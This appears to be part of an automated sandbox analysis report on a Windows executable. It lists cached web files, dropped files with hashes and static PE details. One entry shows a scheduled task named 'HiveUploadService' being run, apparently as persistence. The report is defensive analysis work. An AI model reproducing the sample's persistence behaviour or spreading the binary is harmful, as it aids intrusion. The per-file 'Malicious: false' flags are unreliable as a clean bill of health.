SHA-256:	0F0245931DE8CB61049852317E5C0ED82A35FA55FDCD7085055906B0CB89E888
SHA-512:	933113FEFCE4EB9EBFBE91A385EAB5E67DC5EE54ADABC52781BF31B1204AF58E712C41792742A97AE36F8A18082EE6FFB0DE88C4E27C9D6D6A13B4DB4160D1E2
Malicious:	false
URL:	https://www.google.com/account/about/static/feature-stay-connected-across-the-internet.json
Preview:	............G....&......`..1f...9K^..s.........{.->.....E..(T_.........A.....T........C..3/..MC..........?...$..?......r=.)/..[..P....?....?EQ....{y.............cZ...o.......?....?...g...?Ez.....\.....{I`.j..tnH..a..p......=.0..1._..Y...E..?..>.....a.y....i5.X]...X..Ck{......k.D..x.b.0.........^.0.......)...}&lx.D...E.....K].w_.{.,...s../G...W.Z......'......G....B..r.x.=k..\.#{..{.2...;.&..f.l.-.:.0.........@.Sk..$#....8.3..=..J.G....l..r...-EC.8.$....kw.;...j<V...v.4.:.}'M.....o'..5E..;.6...>lx.GG....B..u!\|d.Zj.CU...o-...F..II.....`.xl..n..b.?{4...p..R<.,..\|.0.<..3..U.........H.k1 ./....`..0.:..<..=..0..+/..kC.U.....t.UI.....]7e....^Z.A...0....).....p...t....................?y..8........oO.S...............?T....W_I.s.".I..?..).....w.....X)..._...)..p......}..../......D....r.....:.^..z......S^..q...s.O.#~v....B.p.K.......\|..O_c......>..?....`z.....'.w....Z..]..._..3.;..;-.......u."\|..b.\|...7.......w.......h.Q....QZ.T.z..{S;f.Zh5..u..}.

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 380, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5891
Entropy (8bit):	7.786118205104042
Encrypted:	false
SSDEEP:	96:m04aj8vMiLw4VznpoYSkRGHYyC+8puuxakjCCl0yafqC+2MRiCWRIuOUHPnvDeqK:m9aYvMawsplSkAHTC+IVxagC00qC+2Mj
MD5:	83646310FF2E4102D9F73028723D8FFA
SHA1:	D9D307767E27B5BA5EDB051E32F35499162DD015
SHA-256:	914D435F3DAF648F8882D0ED4FB69BE5C46BFC67C53D12E33184ED6FCA0CBE1A
SHA-512:	DBB28FA25951DD8F5D73FA5CFC583360575C2AE8CDBFADC63AD91B63E59A10EE0829119576306AE356B70F351AAC4EC87ECEB9EC611A9001D4945B9720D3B19D
Malicious:	false
URL:	https://lh3.googleusercontent.com/ZaBr1wO64cGGjnJRqtUn4_SkQc4CZar0UP2C0Zburxq6nyEA_J89zHbTaoDTBhw4SpCvMPAZxMamAWdmQjk92QRQFvqUS_B4EHfEQs5TBcBH4lZ9Agc
Preview:	.PNG........IHDR...\|...\|.............tEXtSoftware.Adobe ImageReadyq.e<....IDATx...Ol]....@+..U..C..&UA0J..E."5.....(.<..E.....e.U.BV...j4...D..Kq%.."..A."...SD'.!".:...8.l...#]...?...{..;.$.....................................................................................4.M.......N..L_.N_..M._..k{....J_.M_.g.7........?......K.............N..k.............N...m.>....!.jI.....k...i..6..\|.>.M..]K.......?..^I...o.......N..d2?.z.....~.V....#.a.!...G5....~....Trq.W.......n_~W..~6..k"..G..e!..\|...K...O.C~......_...~.V2....G.S.....c.uS..~1..+...d.~?....}w....\...~.......!..S./.....~W......\|....I.}...~.V....d!..'.7U../........~.>..}...7+..}...g.U..'..\.\|]U..........d...O?B~8.8.:\.......\..m.j..,%.+.op....G.._.!"......._.!"..2...op.w7+.U_^./J+.8.....OMC~8Y.....Q....Q.7.//.o.~....A.......~.O.B>.CD.~#..".....".>..-.V.v.O.!......E.J.....4.s9.[.D..~.../!.//.B._...Nr....Z..[.>W.....-..3...\|z...N.k...:......_.71..>.....J_O..-.?..B.>.......?.n.

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 52916
Category:	downloaded
Size (bytes):	20994
Entropy (8bit):	7.988999761676114
Encrypted:	false
SSDEEP:	384:tC7niyi/By45+9iBV538WjAC8jNe8qUo4DdsmPMb7lV2bzOAZo1Csk/r:wrfi/BNY9iR80AC8jNdBsJb7A6Woe
MD5:	87E8230A9CA3F0C5CCFA56F70276E2F2
SHA1:	EB116C8FD20CB2F85B7A942C7DAE3B0ED6D27FE7
SHA-256:	E18D7214E7D3D47D913C0436F5308B9296CA3C6CD34059BF9CBF03126BAFAFE9
SHA-512:	37690A81A9E48B157298080746AA94289A4C721C762B826329E70B41BA475BB0261D048F9AB8E7301E43305C5EBF53246C20DA8CD001130BF156E8B3BD38B9B8
Malicious:	false
URL:	https://www.google-analytics.com/analytics.js
Preview:	............{W..7.?..xw..F..(m..,J)..h...(K..K.I.K....~.7.l9.}.~.s.j...ei4....o.................l......No8......@.n..G..`X\zp.....w.Xu.j. Q.Q..V.....[ju.XZz...[..t.Q.=.L.....0}..Qp'CY..;.......q..z..}.O&...F.../.G.}.k<...F.....M&......A....xN...Q....'xc....AP.l.d..N...0.jq.....]...G...7.a..[CQ.......U.i.~.t..p ".%.T......B.DuY....:P... ..}......y..r....7o.?<......../_.}...@.3..]....?(x......'O..^x.kY......]]J.#./i..1./..I6V=.+zS..........W..v..;....Wu.....~6<....G..#5..WA0j.z.....z.w.....4.......v..@...E.Z..:5.^N..`2......O&4.....f.U...Z.D.~K.h...f .......n.....W.......4.bc..a.......I..sj...........\Y.,MZ........nmoo....O.A.L........N..';.....a..L.........n..pg0......E,g..}.\Y...A6.9..i.Q...j.o`g..S.g.....u. .....a........4.#t6.;.O..#4.....";...........p.?C9...-...........i.?..k?.Z...F...6....7i..AeR.QY........<...v......=...J..[v....T...\.B..K..^.#.!.......G.s..W.....nq.{.C......Ws}7.nq4..G*9...++...n_...G

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	66036
Entropy (8bit):	7.996494144614811
Encrypted:	true
SSDEEP:	1536:uqPrbfF7JZOqUjdu0ponZyssoYxaw9+ICRYrFFATu6b:DrRFqAuonZy3awJCirFFATu6b
MD5:	995A35D591525D37C8519640DE1C3379
SHA1:	EE4E9DE1435F913219C974CA09586A5F82A653A2
SHA-256:	45D92B8C358316D796D1E89783DD17908984287703BCE010AF7B31C2EA2545EE
SHA-512:	B88C6DC98EAED18C330CA1DEF111C15A000716997FF435F5B262156F43B1EC608C2446FF0541EF7F7A975C7492D4827251A6A78DFBBC6930D72B58312E13929B
Malicious:	false
URL:	https://www.gstatic.com/external_hosted/lottie_player/lottie_player_binary-bundle.js
Preview:	............f6.v;.-.W..lWlz3U....z,n..#.U}..+KhG}.r..B......B.5..._.U.{.<..f.>..PR.9.0.!...62.......1...W.BX................R._mM....8.Hk.{j..U.;WO.m:.E...-..{..}.:z.D..I..)2!....\=....<...............U)...f.U.X.x.....Y{(....B..j.B...}....."n..ZG......=.-.....}........:.Jf.../...h..d...I..55.XBW.m...E.?}...^..2. GC;.R;%Rk..@.[p.1.._UG.:.JN..)j....,..\|..[..T."...X..;0.x^3\|.z......}.=A..M../$..L.&n.@..K..p...t.].\A...@F.......N\T.}k.Y..pb...T!P.~0..Z..A...r..\|a..).......V....@U...:.1V...b....V..n..x......G(#..&.......X...ER....].....&S...4tu.F.rc).Njc.f.6..f.LV.B._.g5....k..{...T...5.v7..^..B.[..U.Eh...........w?.)..,.,...A=........;..Z.h.5.{......2..wu..3.}......@w.tB....,.Z..>..X.e;G.^.1..T....Y...7..6....P.t.."....q.l5..E...u......@...u.6...Z./Y}......p..<..'f.....k8.n....-0.J..6l.ftx..X.OR.P.......7O..H.......F...s.....}..Bv.5....6.B..\.Z.af...&d.i.Z...1kz..'..B.n.<.,.o.]m......;...tx....A^+..BJ..O4.$....._3*..~..3b.u#...8.

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 1991
Category:	downloaded
Size (bytes):	1089
Entropy (8bit):	7.7911719002732
Encrypted:	false
SSDEEP:	24:XbzbzGxTIKvFf8JP1PxsFnCxF03ihC2VyEMb3s41:X+x5t0dJxsFnCx8441
MD5:	BC34AE51EED9F9332E4C2BD72E194792
SHA1:	3EEF278BC92BA9FB3527C9911AE97189B7B6527F
SHA-256:	AC0FB649BC38EB7FADA17C5D5B2A0BEB5CBDCD3C443C94EC44F70D82E65E278F
SHA-512:	7DA167D0BDAE6BC92DD23E90CB581470BADCDE8854D8E2684028EA318C993016BA1DFE8CA633A89C97598F16D6F57BBA11034C59DD6A0EC251360B1CA656344D
Malicious:	false
URL:	https://www.google.com/account/about/static/js/detect.min.js?cache=f60795d
Preview:	..........tU_o.<.....@.....7......:i.v..r...iHR.).$.......&.9........Uy....ko..".J....g..U.p....P...fK......9...QY.o....=.Olt"...V..,..K...i.Z.....b..........g.g.R?y...........?.a0.lq.G1.i...@...Y..{......11.6..A9.$./j.m.Ii..\;..nE.9.Z.Rg.^U\|8,.6..../&+<....$....h....]...d...(~.E.k+#.k...2tog.(....e8::-..K...(......-...8.e...8..e.Jw`..8.1.......H.t.(....I... ...D6...i....,..R.[.h..p.C"Rn....>.^C.........o../..E.......L!.....Xr[jI@M..-.q_.h^x.d...M'......6......Mek\|u...o..w....."U... ..a....T6.w.&..k..6HS..r..$...&g.:>g.....IQ...]!....b...G..-_.6.".O.2....+..._.1.b...T.#..d...sn..y........A...O. .A........{......+..1..^7.0.R..#$.../.hE#...v8h.f8.7r..7.(.H.cU....n.gL@..Z.iX\..._",..E$..a...y!....M.E...q."...v.z....`..0?x.yf.R$.rm..<^#...(AMK.A2.[^U.'..%&UB.1.........ITl!r......U..n*.........x.....&c\|X...j<;p..#.YGnF5.L..Nn<.y.m.....].7.7.}.m.qw...u......_...fe.g6..G....g....0........`...t0.60AT.F6]w......zq.r..o,].h.%..o..~C.W6...\|.=^k

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	4396
Entropy (8bit):	7.952332377391681
Encrypted:	false
SSDEEP:	96:kVSzBORAK8KOXX4AHockdSWkVjTYSliYK6PJqqCTC:QjZ814AbkmVbsAJqC
MD5:	D5D3D750C186AABAC32ACC7362187170
SHA1:	9A9E40865FEFA3DB004BA0CE0CD633B2D719EF12
SHA-256:	729CF7103D3179D327342921A1496DA75514CADCF4AB05EF95203737B2CAAD05
SHA-512:	17D704530C2EFA9887CCD5DCB4172A1D7871057704C9B9ABA6F2DE1C7965D9D4C577DF22B3D4E5F32B5632DE82A857D347C15E3DFA77CF42F575B4B643B833A3
Malicious:	false
URL:	https://www.gstatic.com/images/branding/product/ico/googleg_alldp.ico
Preview:	.(..qx2$h..$/LB.....(.n.y...u.K....J..G.....\:.X...!.E.....b.<....n.[V..-.......4@......\j.ql..e..3...f.A:8....C......N..4....w...3..#...Q...-.p.......2.8.40.!...$.`..?...,S..=..=.Z.I...........h.A.T.][* ......;...^W..._v..4.KroZ.W.....PG... .j.'..fk..#Ov.=jId.@.z.9...78 Z....A...op...z..P...4SR.nB...>.......}2.p.V'..;...'...`..<.....#R'.v...P.....l.2.....v.8.....c.I`..W.....~S.K!7...Z.\|p..j..0.#..._...C.^zA+{n..I...7s.G....O#.ZmL...........XI...\.=...7T...L.aS'..M..r}@.Q......O.PiC5W..&......2..../x.....q.n..%....J...+.{.B.C.~.w.+.....I..4.#v.......J....!&.mO...7..[.b.Q.D........u..Ra.......7..,.:G....,..p<].......R....w..vsr3.......8...r.v._..<....y.........v0sn..B..K\|D.....a.JD.y.\|..S..I..-<.x..i..Az..z!.3..B="c\.2.L....L.8..zZM%...v..1`.....}....@....P.~X.I...l..[Fs`J...r~..U...c..r..VIab.~..NQ..h#a.v.cKA.4.......2j..3......>........f..l.nG..B..tk..).p....y.......}.9u5..%..]....+...M.x.......-..&D...v..o...A..?4.B..v..u....t.

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15336, version 1.0
Category:	downloaded
Size (bytes):	15336
Entropy (8bit):	7.985167123981427
Encrypted:	false
SSDEEP:	384:fMVQOjK26qXRDlvyTYjPPPRCfSKaVgBztig07:0VQi3t0WXP8a+l/u
MD5:	1F8BE5EBC269054D4D51BF80367DC757
SHA1:	BE81C576415D6B6512EC7EB85A4224622DDD29FB
SHA-256:	AA221A8437FF853E43E8EC3503C2FF160DC74C4DF874EEDAA66AAC1A2FA0EE2F
SHA-512:	F409EF42A2BE97947E4C2395A9E8610C2A1B9B688ED1A38277D6116A116E4E3EBA2A14DF338AE5CCDD6F60B479AE24648254E964C11717B7BD13B186E23F112B
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu72xKOzY.woff2
Preview:	wOF2......;...........;...........................F..Z.4.`....T..<.....0..=..^...x.6.$..8. ..t. ..I..~..x.@P.d...a.`...;..._...&.!c.{...@.aA.$H....-&....l1. ....,.....h..L....../......<...t.7...v..A./..o...<Bc.....{......}"+..E).....R...3<o...C..U...2f2.8....Yw....9g.I.B.A.4....{.$MT.T.A.{....[...z~x.Z.3;}g.WI.Q..~......@...+..g;....9..0I........z..o....E.:E.....f.^..Lf.......2..........n.\|B>pn/.e.......,...=".......?..y0..up....eR.......5..Q).....&..QI..-/.....v.B.......Z`.i.?.\...`........h....$.C.\|...?.Y;#..Z....B]..r.kV#.cK....%;hy.";.....Y..R.....%..us.O..c....2...H.T.$.9r.Q.r]K.X8...\.J...j%....B.3f...25K.k.).-...DR...N.....O.=...........p..iR..Y..........#......2...w.u}.i...LC..#.l.@1.....==...I..#.....~._C/.....b...%..[.{..\.........".$J,H.4H..... 7`A....(.)S.BD..D....T..iD.iA..[.....[..vA ...........]...>..q}....V.@.g..U........f}..... .mU..x..u8.4h?$AX.x#..n...f.H}.S....N..2i..R.S...Mk-..K.H...{\|....GwG.]..m.U;.Ot..*.

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 35060, version 1.0
Category:	downloaded
Size (bytes):	35060
Entropy (8bit):	7.9934247518702914
Encrypted:	true
SSDEEP:	768:VWgzOJq8VMlI+d620JaSUhkJN1tLmkLqnEsKeeBClx7styedpa12:dSJBVMlfd6VJaSUCv1RmkavKetUXnZ
MD5:	0360DBC6E8C09DCE9183A1FD78F3BE2E
SHA1:	6CD4B65A94707AE941D78B12F082C968CB05EC92
SHA-256:	2DB6BC36808D43FA89029C652636E206FA3E889B35ECF71814AB85F8BA944AF3
SHA-512:	93C9F1856142DA0709F807CA3E5836065E61BC8160F9281FEC9244F31ED8AE8DF500CD5C64048AC59B4DBC36EBD18BA8E7FBCEEF58134DD76441079FAE147AB9
Malicious:	false
URL:	https://fonts.gstatic.com/s/productsans/v19/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2
Preview:	wOF2..............u$..............................T....`..P.l..a.....D..;.."......6.$..@. ..,..6...[.]q..}:P..(....W.(........(;h 8..r.o...........k..........>..eZT\K.....4l..Z]...1B.1.G.....\|..p..._..S/...^I.e..l.=.I1...0..L./..D..Y{.w....(.....Q..J....v.........z......Q/.K..f._...-..T.f...[..U.).>.K35v...n.?-thr......w.?[D.u.Q.}..i_.cp..0E.R5m.>I.......x......H."C,....2...q...E..r.?...R../.J..m..X97...E.fJ...=.Q.>..`.QXuw..e."........\^.....~....>M.....h.Q.-.......SM,;W......#..#.B.....K.o...`...z...t....".$..s....o.v...w.I.mg.$n....../...N.....8H........^.~....X.Q.,YB.U...uX.e.o.l..o.2f..^_].~.3w........J$2)_.c8...&^.>...r.29.D&.I....T".H....O.2.$..r.\...1.}.ES~5...t.X`.x.gQk..e.L.N......{.6...4..G.....2.z...V...Vy.'..../.....'...z..i.G.......`...$@.k......1.....{PH.....qf......_...A.e..7.....C.?.^.....,......NDa<b..F...:.....+..\|.._I+.2.^......l...3..^.)qJ...0.....X.....yj....J"...lo..._j...Z...0...m..2.$.EBa.....w...\|..2&!.$..!S/^'.....r.U-.

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	159224
Entropy (8bit):	7.998214448547476
Encrypted:	true
SSDEEP:	3072:G1pww5DFL0KZ0dZk19YIc0HkXCuXvQgG3tfco4Ypu7BCht6t9JV+QDMv:Kp/55Ac79y7SuX4gG3tfco4YuVBt9Jov
MD5:	0F448A45AE77420D58C61C51FF05D2B5
SHA1:	2131D2CD3CC4C6010F4FC4C6469418DB86CE00F9
SHA-256:	6EB93CFB8BEB91E05F63AB99C00E2AA6C3C1114A52EAF40DD81B09274D1278EF
SHA-512:	E963403562DB04CC609AE746C67720A116606B40AC7560D5E7F9F8462DE17944FC7E65091B2C635CE8E8CF03419750ABD4440C24404060A0333D3369B72E56F9
Malicious:	false
URL:	https://www.google.com/account/about/static/kyi-built-in-security.json
Preview:	.....)...PG.m.b.8I..N.&...Q...S...R_...v...S.\|.-x....&.......":....a.~...{..67`Y..6....-.P..@..F..D..xq..%v..Jy..<r...q....v..jSHh.%...9.%..C..(".dm..4....(...&r..L....!.3....p.9.i......w..\|..SXn.....Fp!W...5.....[lW.._..5..R.zf.;..[!h...0V,.1.c.....^U^.Hv.\|..B._.a.)2... bu....f..:...$F..v...D...b.Q.32..8...^.....B(...-....~o0#.....Cj.=.....3.@.............nk..+H/.`..LI.`...P.6vd...1C.......:.(.s.\|][l.s\....Y%...........&...U...X...M...pY.&......q.I.A.zHQ5.8.a.V....(>j..&>.(.<y.y<.k.YXqUB_.;.s}C`E>.$.N..K.../kd6.$d^..0c..T....j.s...~..%......B.....L.........vw..#.].i)...?..T..#.&9!...k7..Y...m..!.'$....S.....@...\|p..U.e.sq..m....'K.P....1...a...SPTmf.A.(.au7.....N...5.9..T.....8...+.-...oG~.H..qr........qu7S..K.....s...1K>...n.&u.',.#...v....x....v.../^.....js..a.0..4.4.]......^....KG._].....sz.....O..z..*O........^v...tnvP.d.....yd..;.F.....9..C.G.[eg.L..Yj=.~..,.g...9.rM..}.....4.'5...\. ..Le...k{.T....qu.JT..-..L.1D..+.e.B.9Yg..

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 18883
Category:	downloaded
Size (bytes):	6865
Entropy (8bit):	7.966529005810397
Encrypted:	false
SSDEEP:	96:DpA8oAE2FSaXTNINSrO+PhJQ1g36U3Qs2ksW/YNiXJNTgNTAsolD1JUpQpBQmQ0g:D28oAZYUTdO+PN9d//KOAClDYapBH6qe
MD5:	AE367AD884A25787A3D714DBF250CE37
SHA1:	D4EB3D7D33A5FD3D8C31DBA7D8A2A2CEEE50E4AB
SHA-256:	B5725A2268376D592D2EA15EE13BEA25C1301A3FA8D46777E3A1857B2F96900F
SHA-512:	F72C19DC28AB97A7FE37A385BF941D5C92243DFFBA34CC7B61D5D21F87746FF8DF7D8DFB2A86C42145DCFEF83EF919BC1B4B9F0A1D5FA2CE0B5633D7AA6A17B5
Malicious:	false
URL:	https://www.gstatic.com/glue/cookienotificationbar/cookienotificationbar.min.js
Preview:	...........\|.r.6...?../.."..{...l..v....t;.(......"........6...qf...I,..g?..`.."...D...k..."...;+H..VND&A....$....^.D...+..N......h<.7.i.4M#..F....1............D.kB.].L..y.[,(.p.6Y.)!gUE..UU.R...RB......i@g...B..6.Q.}J..)..R..."..eH./iV.n..)..y....w].....y../~b...<...ZntD...Hs)$rKA...uC.=.)!..s....+..hQ............B).iV.N&.$."x..o..J.W..L@.....$`-.....5.1.3.......'D(.8]84.I8...%t.M....3:.".A..hD..F#R...u..!.x..E.%...8\|_e.>k....4G.......d.m.mF0U...w.....$O".IX.{....RjXNV;......:.e....9'.l.....4.7`...8EM.n.S..F..%$.~S.`.x.U.J..sv...H...=.t...gQeEB..Y....{....V...c(..h..%D.^..?......;+.5(.h.e.WT.b@.!~.....PO..q.]!.K?]g....W...N..u..w....>..K:\|..........C2......4#.,...y`...!s]...aF....`..y......Z.4.i-[O.Cc.6...>m.:.!....h:Ky.8Bw.yTq*.!..{.'..m...;.}...\|'-.p...Ov...".#...<..b.}`l..dC.k.d...z.<z77.....hpO.=....DTD.D..'....O...mhov$..5..9l?..X..../.,.yg8h.K#.l.....:.m...8"`]h....0.u...(.n..h.C.zT....P..!.....H..M../..@.....Q..9w..Q.u.-.u

\Device\Mup\user-PC\PIPE\samr

Download File

Process:	C:\Windows\System32\notepad.exe
File Type:	GLS_BINARY_LSB_FIRST
Category:	dropped
Size (bytes):	160
Entropy (8bit):	4.438743916256937
Encrypted:	false
SSDEEP:	3:rmHfvtH//STGlA1yqGlYUGk+ldyHGlgZty:rmHcKtGFlqty
MD5:	E467C82627F5E1524FDB4415AF19FC73
SHA1:	B86E3AA40E9FBED0494375A702EABAF1F2E56F8E
SHA-256:	116CD35961A2345CE210751D677600AADA539A66F046811FA70E1093E01F2540
SHA-512:	2A969893CC713D6388FDC768C009055BE1B35301A811A7E313D1AEEC1F75C88CCDDCD8308017A852093B1310811E90B9DA76B6330AACCF5982437D84F553183A
Malicious:	false
Preview:	................................xW4.4.....#Eg.......]..........+.H`........xW4.4.....#Eg......3.qq..7I......6........xW4.4.....#Eg......,..l..@E............

\Device\Null

Download File

Process:	C:\Windows\System32\schtasks.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	67
Entropy (8bit):	4.526368900028965
Encrypted:	false
SSDEEP:	3:BgdMAzs8SDOh8cAyAGoy:Bg+Ms89hDtoy
MD5:	995E9B7BC2E86A4ED52C88B8421C0D37
SHA1:	8A79FD539A658A552C2E155C8F4C4E90B92E3C65
SHA-256:	ECBE8ABCEC7875FE051BF47924681FBF51D8F32331F3E420BD2FAEB3B9C2687F
SHA-512:	37F08F6E607DA131ADC4211A81153D3C7743623FE4B4A4A4A9A969389016D1E5725D8C4A6CE9210DED4941BDC5FA033ED5347EFC7FF747713B3D080F8E01957F
Malicious:	false
Preview:	SUCCESS: Attempted to run the scheduled task "HiveUploadService"...

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.225686118710594
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	0A7XTINw3R.exe
File size:	5'129'728 bytes
MD5:	fa3102d579b1b05b124c915605cdb7d8
SHA1:	2955db386e5cf0dc05d5573c13e79a6a292725d8
SHA256:	eae52236c435290e8bd36a3ce2cab5299b9ec04566b0ceb4521bc174b519aab7
SHA512:	cd66a44f4978ccc94b1bf760524f5ec68163ff2db3abd2f2063fe2fccf7b853d87f0329980df59b8c5e5cd25d6f57c8565212745895b8278b0a21ebbbb0ff62b
SSDEEP:	49152:BXAEpSOZBHozGr4I/o6BsxPPR03X7/3OT9R1Rc7i5ELHISofNycKJrrOMFt:zPIihwqOeXLOhRDELHOVRQrrOe
TLSH:	E6363A57ED9145E9C0EED2318A629253BA717C485F3123E72B90F7382F76BD0AA79304
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........DN.......#......J$..H......@.........@..............................pW............... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x46d540
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x0 [Thu Jan 1 00:00:00 1970 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	c2d457ad8ac36fc9f18d45bffcd450c2

Entrypoint Preview

Instruction
jmp 00007F26ACE00520h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
dec eax
mov ebp, esp
pushfd
cld
dec eax
sub esp, 000000E0h
dec eax
mov dword ptr [esp], edi
dec eax
mov dword ptr [esp+08h], esi
dec eax
mov dword ptr [esp+10h], ebp
dec eax
mov dword ptr [esp+18h], ebx
dec esp
mov dword ptr [esp+20h], esp
dec esp
mov dword ptr [esp+28h], ebp
dec esp
mov dword ptr [esp+30h], esi
dec esp
mov dword ptr [esp+38h], edi
movups dqword ptr [esp+40h], xmm6
movups dqword ptr [esp+50h], xmm7
inc esp
movups dqword ptr [esp+60h], xmm0
inc esp
movups dqword ptr [esp+70h], xmm1
inc esp
movups dqword ptr [esp+00000080h], xmm2
inc esp
movups dqword ptr [esp+00000090h], xmm3
inc esp
movups dqword ptr [esp+000000A0h], xmm4
inc esp
movups dqword ptr [esp+000000B0h], xmm5
inc esp
movups dqword ptr [esp+000000C0h], xmm6
inc esp
movups dqword ptr [esp+000000D0h], xmm7
inc ebp
xorps xmm7, xmm7
dec ebp
xor esi, esi
dec eax
mov eax, dword ptr [004F149Ah]
dec eax
mov eax, dword ptr [eax]
dec eax
cmp eax, 00000000h
je 00007F26ACE03E25h
dec esp
mov esi, dword ptr [eax]
dec eax
sub esp, 10h
dec eax
mov eax, ecx
dec eax
mov ebx, edx
call 00007F26ACE04F9Bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x575000	0x554	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x566000	0xd854	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x4a3100	0x180	.data
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x244897	0x244a00	241ff533c12b9df94c64ac40d69b15b7	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x246000	0x25c988	0x25ca00	98a96dc6d0c6fae3c2e0add5583fb02d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4a3000	0xc2060	0x34800	e50e8f7af357be2c06456bc68ea3f455	False	0.41557384672619047	data	5.219338370940573	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x566000	0xd854	0xda00	bb81e178551b333baf01de345d4c66a8	False	0.4004981364678899	data	5.423644787237661	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.xdata	0x574000	0xb4	0x200	9124a26bd3bdcc3c7e34d65dec50b97f	False	0.22265625	shared library	1.781731623146249	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.idata	0x575000	0x554	0x600	335871f98bc6b419e74731d6a868928a	False	0.3795572916666667	data	3.9727487341733494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.symtab	0x576000	0x4	0x200	07b5472d347d42780469fb2654b7fc54	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

kernel32.dll

WriteFile, WriteConsoleW, WerSetFlags, WerGetFlags, WaitForMultipleObjects, WaitForSingleObject, VirtualQuery, VirtualFree, VirtualAlloc, TlsAlloc, SwitchToThread, SuspendThread, SetWaitableTimer, SetProcessPriorityBoost, SetEvent, SetErrorMode, SetConsoleCtrlHandler, RtlVirtualUnwind, RtlLookupFunctionEntry, ResumeThread, RaiseFailFastException, PostQueuedCompletionStatus, LoadLibraryW, LoadLibraryExW, SetThreadContext, GetThreadContext, GetSystemInfo, GetSystemDirectoryA, GetStdHandle, GetQueuedCompletionStatusEx, GetProcessAffinityMask, GetProcAddress, GetErrorMode, GetEnvironmentStringsW, GetCurrentThreadId, GetConsoleMode, FreeEnvironmentStringsW, ExitProcess, DuplicateHandle, CreateWaitableTimerExW, CreateThread, CreateIoCompletionPort, CreateFileA, CreateEventA, CloseHandle, AddVectoredExceptionHandler, AddVectoredContinueHandler

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
